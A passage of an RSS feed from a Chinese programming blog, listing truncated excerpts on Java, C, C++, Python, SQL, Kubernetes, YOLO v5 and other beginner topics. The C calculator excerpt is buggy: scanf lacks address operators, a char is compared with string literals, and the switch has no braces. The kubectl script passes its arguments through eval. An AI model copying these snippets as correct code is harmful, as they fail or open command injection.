$.each()可用于遍历任何对象，比如数组，对象，主要用于数据处理&#xA;$.each(col,function(i,domElm){&#xA;console.log(i);&#xA;console.log(domElm);&#xA;});&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;/body&amp;gt;</description>
    </item>
    <item>
      <title>java第五天循环结构，数组</title>
      <link>https://bchobby.github.io/posts/15d77294806592634f1871d0784854ec/</link>
      <pubDate>Thu, 06 Jan 2022 23:47:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/15d77294806592634f1871d0784854ec/</guid>
      <description>循环结构：&#xA;for结构：应用率高、与次数相关的循环&#xA;语法：&#xA;// 1 2 3&#xA;for(要素1;要素2;要素3){&#xA;语句块/循环体----------------反复执行的代码 4&#xA;}&#xA;执行过程：&#xA;1243243243243243243......2&#xA;代码演示：&#xA;//for循环中的循环变量i，作用域仅在当前for中 for(int i=1;i&amp;lt;=9;i++){ System.out.println(i+&#34;*9=&#34;+i*9); } for(int i=1;i&amp;lt;=9;i+=2){ System.out.println(i+&#34;*9=&#34;+i*9); } for(int i=9;i&amp;gt;=1;i--){ System.out.println(i+&#34;*9=&#34;+i*9); } for(int times=0;times&amp;lt;5;times++){ System.out.println(&#34;行动是成功的阶梯&#34;); } System.out.println(&#34;继续执行...&#34;); /* 执行过程: times=0 true 输出 times=1 true 输出 times=2 true 输出 times=3 true 输出 times=4 true 输出 times=5 false for循环结束 输出继续执行... */ //for的特殊格式:----------了解 int i=1; for(;i&amp;lt;=9;i++){ System.out.println(i+&#34;*9=&#34;+i*9); } for(int i=1;i&amp;lt;=9;){ System.out.println(i+&#34;*9=&#34;+i*9); i++; } for(;;){ //没有条件的循环就是一个死循环 System.out.println(&#34;我要学习...&#34;); } for(int i=1,j=5;i&amp;lt;=5;i+=2,j-=2){ } /* i=1,j=5 true i=3,j=3 true i=5,j=1 true i=7,j=-1 false */ 三种循环结构的选择规则：</description>
    </item>
    <item>
      <title>Python的繁体简体转换</title>
      <link>https://bchobby.github.io/posts/09d76858456649ba4fc12bee53f17661/</link>
      <pubDate>Thu, 06 Jan 2022 21:44:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/09d76858456649ba4fc12bee53f17661/</guid>
      <description>安装 opencc 包实现简繁体转换。&#xA;# 安装 # pip install opencc-python-reimplemented # t2s - 繁体转简体（Traditional Chinese to Simplified Chinese） # s2t - 简体转繁体（Simplified Chinese to Traditional Chinese） import opencc print(opencc.OpenCC(&#39;s2t&#39;).convert(&#39;简体转繁体。明天你好！&#39;)) # 簡體轉繁體。明天你好！ print(opencc.OpenCC(&#39;t2s&#39;).convert(&#39;簡體轉繁體。明天你好！&#39;)) print(opencc.OpenCC(&#39;hk2s&#39;).convert(&#39;簡體轉繁體。明天你好！&#39;)) print(opencc.OpenCC(&#39;s2hk&#39;).convert(&#39;簡體轉繁體。明天你好！&#39;)) 更多类型详见：配置文件 Lib\site-packages\opencc\config\*.json&#xA;例如 t2s.json:&#xA;{ &#34;name&#34;: &#34;Traditional Chinese to Simplified Chinese&#34;, &#34;segmentation&#34;: { &#34;type&#34;: &#34;mmseg&#34;, &#34;dict&#34;: { &#34;type&#34;: &#34;txt&#34;, &#34;file&#34;: &#34;TSPhrases.txt&#34; } }, &#34;conversion_chain&#34;: [{ &#34;dict&#34;: { &#34;type&#34;: &#34;group&#34;, &#34;dicts&#34;: [{ &#34;type&#34;: &#34;txt&#34;, &#34;file&#34;: &#34;TSPhrases.txt&#34; }, { &#34;</description>
    </item>
    <item>
      <title>金融云原生漫谈（三）｜银行云原生基础设施构建：裸金属VS虚拟机</title>
      <link>https://bchobby.github.io/posts/770d9190c1b86d8083353a85a68d0422/</link>
      <pubDate>Thu, 06 Jan 2022 19:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/770d9190c1b86d8083353a85a68d0422/</guid>
      <description>在金融行业数字化转型的驱动下，国有银行、股份制银行和各级商业银行也纷纷步入容器化的进程。&#xA;如果以容器云上生产为目标，那么整个容器云平台的设计、建设和优化对于银行来说是一个巨大的挑战。如何更好地利用云原生技术，帮助银行实现敏捷、轻量、快速、高效地进行开发、测试、交付和运维一体化，从而重构业务，推动金融科技的发展，是个长期课题。&#xA;本期金融云原生漫谈，将和大家共同探讨银行在进行云原生基础设施构建时，裸金属和虚拟机哪个更适合作为容器云底层计算资源？谁代表了未来？&#xA;虽然，金融行业推进云原生建设的各种实践案例比比皆是，然而银行在着手实际建设之初，围绕“如何构建先进的云原生基础设施”的话题，依然众说纷纭，没有特别明确的答案。&#xA;以部署容器的底层计算资源为例，理论上来说容器云可以运行在任意基础设施上，既可以选择裸金属部署，也可以选择虚拟机部署。&#xA;过去，很多银行会选择虚拟机作为容器云的底层计算资源，然而，虚拟化的过程在为用户带来高灵活性的同时，其性能损耗也给用户带来了焦虑。&#xA;现在，随着容器技术的成熟，在裸金属上部署容器所带来的高性能等特点越发明显，让用户又开始面临着裸金属部署还是虚拟机部署的选择题。&#xA;在虚拟机上部署容器云平台有什么优劣势？在裸金属上部署容器云平台有什么优劣势？ 本篇文章将带你一探究竟。&#xA;在虚拟机上部署容器云平台有什么优劣势？ 首先，选择虚拟机，可以最大化利用现有的基于虚拟化的云计算资源，为用户带来高灵活性的运维体验。从硬件管理层面来看，虚拟机对于底层硬件资源的管理和监控能力也更强。&#xA;但相对于裸金属，在虚拟机上部署容器云平台的性能损耗会更高一些。基于容器的云原生的价值之一就是直接和硬件层打交道，减少软件层的损耗以提升性能。然而我们在金融行业的落地实践中发现，使用虚拟机+容器方案，相比物理机直接跑容器中间多了一层Hypervisor，可能会导致很多硬件创新无法及时、高效地提供给应用使用，性能也会损耗大概10%～20%。&#xA;在裸金属上部署容器云平台有什么优劣势？ 目前我们在客户实践案例中，渐渐可以看到一个趋势，越来越多的用户会选择裸金属部署容器。那么裸金属服务器有哪些优势呢？&#xA;首先在性能层面，由于少了虚拟机这一层的性能损耗，裸金属服务器构建出来的容器平台性能损失更小。应用程序可以直接访问CPU、内存及其他硬件资源，从而大大缩短延迟，并最大限度地提高资源利用率，有助于大幅提升性能。从具体的场景角度来看，例如人工智能的推理场景，借助 CPU 的 AI 优化指令集，AI 推理的性能可能带来几十倍甚至上百倍的性能提升。&#xA;在成本层面，由于少了虚拟机部分的建设投入，裸金属服务器构建出来的容器平台成本投入更低。在相同成本的前提下，裸金属配置往往能够提供比虚拟机配置更强大的功能，更适合需要高端硬件和快速扩展的较复杂项目。&#xA;在管理层面，由于少了虚拟机这一层的运维管理，裸金属服务器构建出来的容器平台运维管理更为简单。裸金属服务器的好处贯穿于整个开发过程。缺少虚拟化层降低了系统的复杂性，使故障排除起来更容易。由于配置更精简，管理服务自动化和软件部署也更容易。&#xA;在安全层面，裸金属服务器是单租户环境，比虚拟机的多租户环境更安全。裸金属服务器管理员全面控制系统配置，在降低网络攻击风险、敏感信息处理方面更具优势。对于关键类应用或性能要求较高的业务（如大数据集群、企业中间件系统），并且要求安全可靠的运行环境，更推荐使用裸金属服务器部署容器。&#xA;在工作负载层面，裸金属服务器可以支持灵活创建针对特定工作负载而优化的配置。虚拟机实例通常托管旨在满足一般工作负载需求的配置上。这意味着非常特定的硬件配置很少可供使用。而裸金属服务器配置可高度定制，可加以优化来支持要求苛刻的特定工作负载。&#xA;在组织层面，裸金属服务器不会被供应商工具束缚。裸金属服务器上的容器云平台可以支持管理员全面控制底层的硬件基础架构，使组织避免供应商锁定现象，降低迁移解决方案的难度。&#xA;当然，裸金属服务器作为底层计算资源相比与虚拟机也有一些缺点，主要是在容器云扩容层面，容器云的节点扩容性不如虚拟机，毕竟裸金属服务器的采购周期较长。&#xA;此外在硬件管理层面，应用裸金属部署容器的另一个问题在于如何提高底层硬件资源的管理和监控能力，相对于传统的云计算平台，K8s本身作为一个服务和负载的调配平台，目前对底层资源的管理能力相对较弱。&#xA;但是值得一提的是，目前已经出现了一些基础设施层面的优化工具，例如Intel有一些CPU调度相关组件（CPU Management，Resource Management Daemon等），ARM也有很多针对CPU性能优化方面的工具，可以帮助我们实现裸金属的高级部署方式，提升容器在裸金属上部署的硬件管理能力，更高效地利用硬件级别的创新，如计算加速设备、低延迟大带宽网络设备、高性能持久化设备等。&#xA;在实际业务中，选择裸金属还是虚拟机，作为容器云的底层计算资源，还要取决于银行的IaaS能力。如果银行的IaaS能力提供祼金属服务，特别是软硬一体化加速的祼金属服务，则优先祼金属服务，可获得高性能的同时，也得到了扩缩容的弹性支持。否则，建议采用虚拟机以提升交付效率、弹性伸缩和降低运维成本。&#xA;不过可以肯定的是，无论选择裸金属，还是虚拟机，以容器为代表的云原生技术都将为银行数字化转型增添浓墨重彩的一笔。</description>
    </item>
    <item>
      <title>做angular框架遇到的一些小东西</title>
      <link>https://bchobby.github.io/posts/da15598306ebe3668f5d9f69a8f69f63/</link>
      <pubDate>Thu, 06 Jan 2022 17:51:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/da15598306ebe3668f5d9f69a8f69f63/</guid>
      <description>问题：样式引入不生效，在子组件外层组件引入angular 2的样式封装，view encapsulation ，属性为encapsulation：ViewEncapsulation.None&#xA;@component（｛&#xA;selector ：“webform”，&#xA;templateUrl：“./webform.html”，&#xA;styleUrls：【“./webform.component.scss”】，&#xA;encapsulation: ViewEncapsulation.None&#xA;})</description>
    </item>
    <item>
      <title>字符与字符串转换</title>
      <link>https://bchobby.github.io/posts/24bfc0a773beba3be2363656250dcc62/</link>
      <pubDate>Thu, 06 Jan 2022 11:17:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/24bfc0a773beba3be2363656250dcc62/</guid>
      <description>将一个数值使用 字符串转整形 得到的是需要转换的整数，如&#xA;string str =“259”; //str不可以是浮点数，否则报错 Debug.Log ( Convert.ToInt32(str)); //输出259 但当将一个 字符 转换为整形时，会根据“ASCII码对照表”进行转换，如&#xA;char str =‘1’; Debug.Log ( Convert.ToInt32(str)); //49 如果字符不想根据ASCII码对照表进行转换，可将字符转换为字符串即可，如&#xA;char str =‘1’; Debug.Log ( Convert.ToInt32(str.ToString ())); // 1 在进制转换时候可用到：&#xA;//Changed8To2( 7,num1,num2,num4); private void Changed8To2(int _num,int _num1,int _num2,int _num4) { string _binary = Convert.ToString(_num, 2); //十进制转为二进制 Debug.Log(_binary.Length ); if (_binary.Length == 3) { Debug.Log(_binary[0]); // 1 Debug.Log(Convert.ToInt32(_binary[0])); // 49 Debug.Log(Convert.ToInt32(_binary[0].ToString ())); // 1 _num1 = Convert.ToInt32(_binary[2].ToString ()); _num2 = Convert.</description>
    </item>
    <item>
      <title>Matlab在一张图上绘制多条拟合曲线，曲线颜色自定，显示指定图例</title>
      <link>https://bchobby.github.io/posts/9df9ee1abd87365b69f8a4c00af85ad6/</link>
      <pubDate>Thu, 06 Jan 2022 10:39:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9df9ee1abd87365b69f8a4c00af85ad6/</guid>
      <description>clear all;clc; x1 = [2,1,2.3,2.2,1.2,2.4]; x2 = [6,7.6,8.6,7.8,6.6,8]; y1 = [10,11.2,13.2,13,12.4,12.7]; y2 = [6.5,6.7,7.8,6.6,8,9]; cftool 调用打开cftool工具箱&#xA;（有cftool的代码好像不能设置断点，直接用ctrl+R把后面的代码先注释掉，不然在cftool工具箱里会不显示x1,x2,y1,y2这些数据？）&#xA;在X data里面选择要拟合数据的横坐标值，在Y data里面选择要拟合数据的纵坐标值，在右边选择拟合方式。&#xA;在文件-Generate Code-导出生成此拟合曲线的函数文件。&#xA;function [fitresult, gof,h] = createFit(x1, y1) %% Fit: &#39;untitled fit 1&#39;. [xData, yData] = prepareCurveData( x1, y1 ); % Set up fittype and options. ft = &#39;pchipinterp&#39;; %选择拟合方式 % Fit model to data. [fitresult, gof] = fit( xData, yData, ft, &#39;Normalize&#39;, &#39;on&#39; ); % Plot fit with data.</description>
    </item>
    <item>
      <title>芯旺微车规级功夫KF32A150，SPI调试经验</title>
      <link>https://bchobby.github.io/posts/b5e4e9d7a1f8108e1e01ca2c112382fb/</link>
      <pubDate>Thu, 06 Jan 2022 10:24:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b5e4e9d7a1f8108e1e01ca2c112382fb/</guid>
      <description> 最近项目用到KF32A150,在调试SPI的时候遇到了些问题&#xA;1.首先第一个经验就是不要过度信任官方给的DEMO很有可能是有错的，或者没有经过严格测试的。&#xA;2.调试的时候发现，不能连续发超过两个字节的SPI数据，或者出现数据错误，原因在于他们的SPI在波特率设置为10US的时候，发送一个直接竟然要30us多，要在发送完成一个字节后加上一个30US的延时。&#xA;开始加了等待发送完成后再发另外一个不起作用，只有加延时，作为一个车规级的芯片，SPI的速率还赶不上一般的普通单片机，国产芯片任重道远啊！用起来太心累了 </description>
    </item>
    <item>
      <title>C语言 用户输入运算数和四则运算符，输出计算结果</title>
      <link>https://bchobby.github.io/posts/b7a8574bd53e1cf1b13ee547ca8dce29/</link>
      <pubDate>Wed, 05 Jan 2022 22:16:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b7a8574bd53e1cf1b13ee547ca8dce29/</guid>
      <description> 用C语言中简单的语句可以实现四则运算：&#xA;1、if语句&#xA;#include&amp;lt;stdio.h&amp;gt; int main() { double num_left,num_right; char operate; printf(&#34;请输入四则运算:\n&#34;); scanf(&#34;%lf%c%lf&#34;,num_left,operate,num_right); if(operate==&#34;+&#34;) { printf(&#34;结果是%f\n&#34;,num_left+num_right); } else if(operate==&#34;-&#34;) { printf(&#34;结果是%f\n&#34;,num_left-num_right); } else if(operate==&#34;*&#34;) { printf(&#34;结果是%f\n&#34;,num_left*num_right); } else if(operate==&#34;/&#34;) { printf(&#34;结果是%f\n&#34;,num_left/num_right); } return 0; } 2、switch...case...&#xA;#include&amp;lt;stdio.h&amp;gt; int main() { double num_left,num_right; char operate; printf(&#34;请输入四则运算:\n&#34;); scanf(&#34;%lf%c%lf&#34;,num_left,operate,num_right); switch(operate) case &#39;+&#39;: printf(&#34;结果是%f\n&#34;,num_left+num_right); break; case &#39;-&#39;: printf(&#34;结果是%f\n&#34;,num_left-num_right); break; case &#39;*&#39;: printf(&#34;结果是%f\n&#34;,num_left*num_right); break; case &#39;/&#39;: printf(&#34;结果是%f\n&#34;,num_left/num_right); break; return 0; } </description>
    </item>
    <item>
      <title>c&#43;&#43;小游戏——推箱子（低级版）</title>
      <link>https://bchobby.github.io/posts/0c6d4e7cd4a952ffd94711f08cf1a034/</link>
      <pubDate>Wed, 05 Jan 2022 20:42:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0c6d4e7cd4a952ffd94711f08cf1a034/</guid>
      <description>背景描述：&#xA;有一个同学做大作业做不完了，让我帮他看看，但是代码没加注释，又全部混在一坨，于是我看了半个小时过后无果，当即狠下心自己写一个。于是花费了两个小时，就有了这篇文章。（第一次写小游戏，贼好玩）&#xA;复制代码必看：&#xA;1.地图可以自己设置，看define就知道地图构成了&#xA;2.地图的规格是7 * 7，不要越界（我自己也没试过）&#xA;3.游戏通关判定只有两个箱子和两个终点（不要整多了，不然自己改通关判断）&#xA;4.游戏一共是3关，想多一点自己改一下结束条件，自己写几个地图&#xA;5.由于是clion上面写的，有可能存在字符编码问题（我自己也没有解决），建议大家也用clion，教程CSDN一搜一大把&#xA;6.头文件是万能头，没有的自己改&#xA;7.好像没啥补充的了。。。想起了再补充吧&#xA;下面是代码：&#xA;#include &#34;bits/stdc++.h&#34; using namespace std; #define a 0&#x9;// #define b 1&#x9;//■ #define c 2&#x9;//木 #define d 3&#x9;//囗 #define e 5&#x9;//困 #define f 6&#x9;//人 #define g 9&#x9;//囚 int my_map[3][7][7] = { //地图初始化 1,1,1,1,1,1,1, 1,3,0,0,3,0,1, 1,1,0,0,0,1,1, 1,0,0,6,0,0,1, 1,1,2,0,2,0,1, 1,1,0,0,0,0,1, 1,1,1,1,1,1,1, 1,1,1,1,1,1,1, 1,3,2,0,3,0,1, 1,0,0,0,2,1,1, 1,1,0,6,0,0,1, 1,1,0,0,0,0,1, 1,1,0,0,0,1,1, 1,1,1,1,1,1,1, 1,1,1,1,1,1,1, 1,3,2,0,3,0,1, 1,1,0,0,2,1,1, 1,0,0,6,0,0,1, 1,1,0,0,0,0,1, 1,1,0,0,1,1,1, 1,1,1,1,1,1,1 }; int x = 3,y = 3; //初始位置 void drawing_map(int part) { //绘制地图 for(int i = 0;i &amp;lt; 7;i++) { for(int j = 0;j &amp;lt; 7;j++) { if(my_map[part][i][j] == 0) { cout &amp;lt;&amp;lt; &#34;</description>
    </item>
    <item>
      <title>SLAM十四讲 安装 Eigen3 &#43; Palingo 第3讲实验踩坑记录</title>
      <link>https://bchobby.github.io/posts/d19194fb94af8a148aff56d0f6e02cea/</link>
      <pubDate>Wed, 05 Jan 2022 18:39:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d19194fb94af8a148aff56d0f6e02cea/</guid>
      <description>记录 1、安装eigen32、安装Pangolin2.1 下载源代码：2.2 安装依赖2.3 编译安装 SLAM十四讲源码中，使用了多个第三方的库，由于第三方库都是有相应的版权，因此需要逐个的去相应的官网下载源码安装&#xA;1、安装eigen3 eigen3这个比较特殊，可以直接用命令安装&#xA;sudo apt-get install libeigen3-dev 2、安装Pangolin 由于github主站比较慢，因此推荐使用镜像站：https://hub.fastgit.org/gaoxiang12/slambook2/&#xA;2.1 下载源代码： git clone https://hub.fastgit.org/stevenlovegrove/Pangolin.git 2.2 安装依赖 下载完之后，需要安装一些依赖，比如cmake，g++，libglew等&#xA;sudo apt-get install g++ sudo apt-get install cmake sudo apt-get install libglew-dev sudo apt-get install libboost-dev libboost-thread-dev libboost-filesystem-dev 2.3 编译安装 进入源码目录&#xA;cd Pangolin mkdir build cd build cmake .. make -j2 sudo make install 安装完毕，这个时候执行第3讲的代码会报这个错：&#xA;error while loading shared libraries: libpango_windowing.so: cannot open shared object file: No such file or directory 说是少了“libpango_windowing.</description>
    </item>
    <item>
      <title>Spring Boot配置FastJson报错‘Content-Type‘ cannot contain wildcard type ‘*‘</title>
      <link>https://bchobby.github.io/posts/205ad4f70173bdfaf5c4640407592e29/</link>
      <pubDate>Wed, 05 Jan 2022 15:56:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/205ad4f70173bdfaf5c4640407592e29/</guid>
      <description>升级到最新版本的fastjson以后报的错，查了一下资料，发现&#xA;fastjson从1.1.41升级到1.2.28之后，请求报错：&#xA;json java.lang.IllegalArgumentException: ‘Content-Type’ cannot contain wildcard type ‘*’&#xA;原因是在1.1.41中，FastJsonHttpMessageConverter初始化时，设置了MediaType。&#xA;public FastJsonHttpMessageConverter(){ super(new MediaType(&#34;application&#34;, &#34;json&#34;, UTF8), new MediaType(&#34;application&#34;, &#34;*+json&#34;, UTF8)); } 而在1.2.28中，设置的MediaType为‘/’，即：&#xA;public FastJsonHttpMessageConverter() { super(MediaType.ALL); // */* } 后续在org.springframework.http.converter.AbstractHttpMessageConverter.write过程中，又要判断Content-Type不能含有通配符，这应该是一种保护机制,并强制用户自己配置MediaType。&#xA;解决方案如下：&#xA;在FastJson配置类中手动设置Content-Type&#xA;@Configuration public class FastJsonConfiguration extends WebMvcConfigurationSupport { @Bean FastJsonHttpMessageConverter fastJsonHttpMessageConverter(){ FastJsonHttpMessageConverter converter = new FastJsonHttpMessageConverter(); return converter; } @Override protected void configureMessageConverters(List&amp;lt;HttpMessageConverter&amp;lt;?&amp;gt;&amp;gt; converters) { // 调用父类的配置 super.configureMessageConverters(converters); //升级最新版本需加============================================================= List&amp;lt;MediaType&amp;gt; supportedMediaTypes = new ArrayList&amp;lt;&amp;gt;(); supportedMediaTypes.add(MediaType.APPLICATION_JSON); supportedMediaTypes.add(MediaType.APPLICATION_JSON_UTF8); supportedMediaTypes.add(MediaType.APPLICATION_ATOM_XML); supportedMediaTypes.</description>
    </item>
    <item>
      <title>shell脚本查看k8s日志</title>
      <link>https://bchobby.github.io/posts/5fee021b5d9afabef2751931dccc0ef6/</link>
      <pubDate>Wed, 05 Jan 2022 15:36:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5fee021b5d9afabef2751931dccc0ef6/</guid>
      <description>文章目录 占位符的方式指定参数 getopts问题1.执行 shell 脚本` \r `问题2.命令中的grep 查看日志：kubectl logs -f podName --tail 100&#xA;比如我们如果想查指定的pod，指定行数，指定的内容，&#xA;每次都需要输入kubectl logs -f xxx --tail yyy | grep zzz&#xA;为了方便，可自定义脚本，输入sh .sh xxx yyy zzz即可，并且xxx支持RE;&#xA;kubectl命令手册&#xA;grep，awk基本使用&#xA;占位符的方式 #!/bin/bash # kubectl get pods #notification x=&#34;kubectl logs -f&#34; y=&#34;--tail&#34; g=&#34;|grep&#34; name=`kubectl get pods | grep ^$1 | awk &#39;{print $1}&#39;` x=&#34;eval $x $name $y $2 $g $3&#34; ${x} # sh log.sh podName 20 content # 最终：kubectl logs -f podName --tail 20 | grep content 指定参数 getopts #!</description>
    </item>
    <item>
      <title>第三天运算符和if..else学习</title>
      <link>https://bchobby.github.io/posts/30f21c11564bc2e3f30a0d597ece4bc4/</link>
      <pubDate>Tue, 04 Jan 2022 23:35:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/30f21c11564bc2e3f30a0d597ece4bc4/</guid>
      <description>运算符：运算的符号&#xA;算术：+，-，*，/，%，++，--&#xA;%:取模/取余，余数为0即为整除&#xA;++/--：自增1/自减1，可在变量前也可在变量后&#xA;单独使用时，在前在后都一样&#xA;被使用时，在前在后不一样&#xA;a++的值为a--------(a--的值为a)++a的值为a+1------(--a的值为a-1)//%的演示 System.out.println(8%2); //0，商4余0----整除 System.out.println(5%2); //1，商2余1 System.out.println(2%8); //2，商0余2 //++单独使用: int a=5,b=5; a++; //相当于a=a+1 ++b; //相当于b=b+1 System.out.println(a); //6 System.out.println(b); //6 //++被使用: int a=5,b=5; int c = a++; //1)保存a++的值5 2)a自增1变为6 3)将第1步保存的值5赋值给c--底层运算过程 //---粗暴记法:a++的值为5，c就是5 int d = ++b; //1)保存++b的值6 2)b自增1变为6 3)将第1步保存的值6赋值给d--底层运算过程 //---粗暴记法:++b的值为6，d就是6 System.out.println(a); //6 System.out.println(b); //6 System.out.println(c); //5 c是先赋值再自增 System.out.println(d); //6 //--单独使用: int a=5,b=5; a--; //相当于a=a-1 --b; //相当于b=b-1 System.out.println(a); //4 System.out.println(b); //4 //--被使用: int a=5,b=5; int c = a--; //a--的值为5，所以c的值为5 int d = --b; //--b的值为4，所以d的值为4 System.</description>
    </item>
    <item>
      <title>sql语句练习题（mysql版）</title>
      <link>https://bchobby.github.io/posts/7d8965bdc4d91f228d4baa38f54839c1/</link>
      <pubDate>Tue, 04 Jan 2022 22:37:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7d8965bdc4d91f228d4baa38f54839c1/</guid>
      <description>众所周知，学习完sql的基本语法之后，是需要一定量的练习才能更好的掌握sql语句的书写。因此，这里整理了几十道sql语句的练习题用于巩固sql语句的书写；当然这里只考虑能得到查询结果，不考虑sql语句的性能优化之类的问题。有需要的小伙伴们可以练习一下，一定会有收获的。本文所有的题目都是整理自互联网。&#xA;1.创建表 -- 1.学生表 create table students ( s_id varchar(20), s_name varchar(20) not null default &#39;&#39;, s_birth varchar(20) not null default &#39;&#39;, s_sex varchar(10) not null default &#39;&#39;, primary key(s_id) ); -- 2.课程表 create table courses ( c_id varchar(20), c_name varchar(20) not null default &#39;&#39;, t_id varchar(20) not null, primary key(c_id) ); -- 教师表 create table teachers ( t_id varchar(20), t_name varchar(20) not null default &#39;&#39;, primary key(t_id) ); -- 成绩表 create table scores ( s_id varchar(20), c_id varchar(20), s_score int(3), primary key(s_id, c_id) ); 2.</description>
    </item>
    <item>
      <title>YOLO v5算法详解</title>
      <link>https://bchobby.github.io/posts/738d750c163e69104c8811ff74620289/</link>
      <pubDate>Tue, 04 Jan 2022 21:47:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/738d750c163e69104c8811ff74620289/</guid>
      <description>1、YOLO v5网络结构 2、输入端 3、Backone网络 4、Neck网络 5、Head网络 1、YOLO v5网络结构&#xA;图 1 YOLO v5网络结构图&#xA;由上图可知，YOLO v5主要由输入端、Backone、Neck以及Prediction四部分组成。其中：&#xA;(1) Backbone：在不同图像细粒度上聚合并形成图像特征的卷积神经网络。&#xA;(2) Neck：一系列混合和组合图像特征的网络层，并将图像特征传递到预测层。&#xA;(3) Head： 对图像特征进行预测，生成边界框和并预测类别。&#xA;下面介绍YOLO v5各部分网络包括的基础组件：&#xA;CBL：由Conv+BN+Leaky_relu激活函数组成&#xA;Res unit：借鉴ResNet网络中的残差结构，用来构建深层网络&#xA;CSP1_X：借鉴CSPNet网络结构，该模块由CBL模块、Res unint模块以及卷积层、Concate组成&#xA;CSP2_X：借鉴CSPNet网络结构，该模块由卷积层和X个Res unint模块Concate组成而成&#xA;Focus：首先将多个slice结果Concat起来，然后将其送入CBL模块中&#xA;SPP：采用1×1、5×5、9×9和13×13的最大池化方式，进行多尺度特征融合&#xA;2、输入端详解&#xA;YOLO v5使用Mosaic数据增强操作提升模型的训练速度和网络的精度；并提出了一种自适应锚框计算与自适应图片缩放方法&#xA;2.1 Mosaic数据增强&#xA;Mosaic数据增强利用四张图片，并且按照随机缩放、随机裁剪和随机排布的方式对四张图片进行拼接，每一张图片都有其对应的框，将四张图片拼接之后就获得一张新的图片，同时也获得这张图片对应的框，然后我们将这样一张新的图片传入到神经网络当中去学习，相当于一下子传入四张图片进行学习了。该方法极大地丰富了检测物体的背景，且在标准化BN计算的时候一下子计算四张图片的数据，所以本身对batch size不是很依赖。&#xA;2.2 自适应锚框计算&#xA;在yolo系列算法中，针对不同的数据集，都需要设定特定长宽的锚点框。在网络训练阶段，模型在初始阶段，模型在初始锚点框的基础上输出对应的预测框，计算其与GT框之间的差距，并执行反向更新操作，从而更新整个网络的参数，因此设定初始锚点框是比较关键的一环。&#xA;在yolo V3和yolo V4中，训练不同的数据集，都是通过单独的程序运行来获得初始锚点框。&#xA;而在yoloV5中将此功能嵌入到代码中，每次训练，根据数据集的名称自适应的计算出最佳的锚点框，用户可以根据自己的需求将功能关闭或者打开，指令为：&#xA;2.3 自适应图片缩放&#xA;在目标检测算法中，不同的图片长宽都不相同，因此常用的方式是将原始图片统一缩放到一个标准尺寸，再送入检测网络中。而原始的缩放方法存在着一些问题，由于在实际的使用中的很多图片的长宽比不同，因此缩放填充之后，两端的黑边大小都不相同，然而如果填充的过多，则会存在大量的信息冗余，从而影响整个算法的推理速度。为了进一步提升YOLO v5的推理速度，该算法提出一种方法能够自适应的添加最少的黑边到缩放之后的图片中。具体的实现步骤如下所述：&#xA;(1) 根据原始图片大小以及输入到网络的图片大小计算缩放比例&#xA;(2) 根据原始图片大小与缩放比例计算缩放后的图片大小&#xA;(3) 计算黑边填充数值&#xA;其中，416表示YOLO v5网络所要求的图片宽度，312表示缩放后图片的宽度。首先执行相减操作来获得需要填充的黑边长度104；然后对该数值执行取余操作，即104%32=8，使用32是因为整个YOLOv5网络执行了5次下采样操作。最后对该数值除以2，即将填充的区域分散到两边。这样将416*416大小的图片缩小到416*320大小，因而极大的提升了算法的推理速度。&#xA;3、Backone 网络&#xA;3.1 Focus结构&#xA;Focus对图片进行切片操作，具体操作是在一张图片中每隔一个像素拿到一个值，类似于邻近下采样，这样就拿到了四张图片，四张图片互补，长的差不多，但是没有信息丢失，这样一来，将W、H信息就集中到了通道空间，输入通道扩充了4倍，即拼接起来的图片相对于原先的RGB三通道模式变成了12个通道，最后将得到的新图片再经过卷积操作，最终得到了没有信息丢失情况下的二倍下采样特征图。如下图所示，原始输入图片大小为608*608*3，经过Slice与Concat操作之后输出一个304*304*12的特征映射；接着经过一个通道个数为32的Conv层，输出一个304*304*32大小的特征映射。&#xA;3.2 CSP结构&#xA;CSPNet主要是将feature map拆成两个部分，一部分进行卷积操作，另一部分和上一部分卷积操作的结果进行concate。&#xA;在分类问题中，使用CSPNet可以降低计算量，但是准确率提升很小；&#xA;在目标检测问题中，使用CSPNet作为Backbone带来的提升比较大，可以有效增强CNN的学习能力，同时也降低了计算量。</description>
    </item>
    <item>
      <title>UnicodeDecodeError: ‘utf-8‘ codec can‘t decode byte 0xb1 in position 0: invalid start byte的解决办法</title>
      <link>https://bchobby.github.io/posts/ae4e1585c98f86fdf3e300ecc09d90d9/</link>
      <pubDate>Tue, 04 Jan 2022 20:06:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ae4e1585c98f86fdf3e300ecc09d90d9/</guid>
      <description>今天在读取一个从国家统计局下载的csv表格的时候遇到如上报错：&#xA;一看就知道是字符编码问题，但是到底要编码成哪种格式才是正确的呢？ 掌柜搜了一下相关问题的解决方案，发现高赞给的答案是下面这个：&#xA;于是掌柜尝试过后发现并不能完全解决问题。。。😅在Province这一列还是出现的乱码。。。然后掌柜突然反应过来，Province这一列都是中文，一般中文编码都是用的gbk，所以应该是encoding = ‘gbk’ 才对吧。带着这样的想法填入后，再次运行，成功加载出全国各省近5年的GDP数据！&#xA;总结：&#xA;所以编码问题还是要看具体数据类型来处理。大多数encoding=&#39;utf-8’即可解决，但是如果表格包含中文，建议encoding=&#39;gbk’处理。&#xA;参考资料：&#xA;UnicodeDecodeError: ‘utf8’ codec can’t decode byte 0xa5 in position 0: invalid start byte</description>
    </item>
    <item>
      <title>RocketMQ 应用场景</title>
      <link>https://bchobby.github.io/posts/87c87ec8f5d91aa1243e5a20f6b33c6d/</link>
      <pubDate>Tue, 04 Jan 2022 17:20:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/87c87ec8f5d91aa1243e5a20f6b33c6d/</guid>
